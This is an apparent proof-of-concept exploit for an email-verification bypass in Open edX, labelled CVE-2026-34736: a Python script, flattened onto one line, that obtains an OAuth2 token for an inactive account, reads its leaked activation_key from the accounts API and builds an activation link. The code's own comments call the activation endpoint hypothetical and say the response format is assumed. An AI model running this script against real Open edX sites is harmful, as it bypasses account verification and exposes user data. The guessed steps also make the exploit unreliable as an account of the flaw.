CVE-2026-34736 Open edX邮箱验证绕过漏洞

import requests TARGET_URL = "https://target-openedx-instance.com" USERNAME = "[email protected]" PASSWORD = "password123" CLIENT_ID = "your_client_id" CLIENT_SECRET = "your_client_secret" def exploit(): # Step 1: Obtain OAuth2 token using inactive user credentials print("[+] Attempting to get OAuth2 token for inactive user...") token_url = f"{TARGET_URL}/oauth2/access_token/" payload = { "grant_type": "password", "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET, "username": USERNAME, "password": PASSWORD } try: resp = requests.post(token_url, data=payload) resp.raise_for_status() access_token = resp.json().get('access_token') print(f"[+] Token obtained: {access_token[:10]}...") except Exception as e: print(f"[-] Failed to get token: {e}") return # Step 2: Leak activation_key via REST API print("[+] Querying API to leak activation_key...") accounts_url = f"{TARGET_URL}/api/user/v1/accounts/" headers = {"Authorization": f"Bearer {access_token}"} try: resp = requests.get(accounts_url, headers=headers) resp.raise_for_status() user_data = resp.json() # Assuming the API returns a list or a dict containing user details if isinstance(user_data, list) and len(user_data) > 0: activation_key = user_data[0].get('activation_key') else: activation_key = user_data.get('activation_key') if activation_key: print(f"[+] Leaked activation_key: {activation_key}") # Step 3: Activate account (hypothetical endpoint based on key usage) activate_url = f"{TARGET_URL}/activate/{activation_key}" print(f"[+] Attempting to activate account via: {activate_url}") # requests.get(activate_url) # Uncomment to perform activation else: print("[-] activation_key not found in response.") except Exception as e: print(f"[-] Failed to leak key: {e}") if __name__ == "__main__": exploit()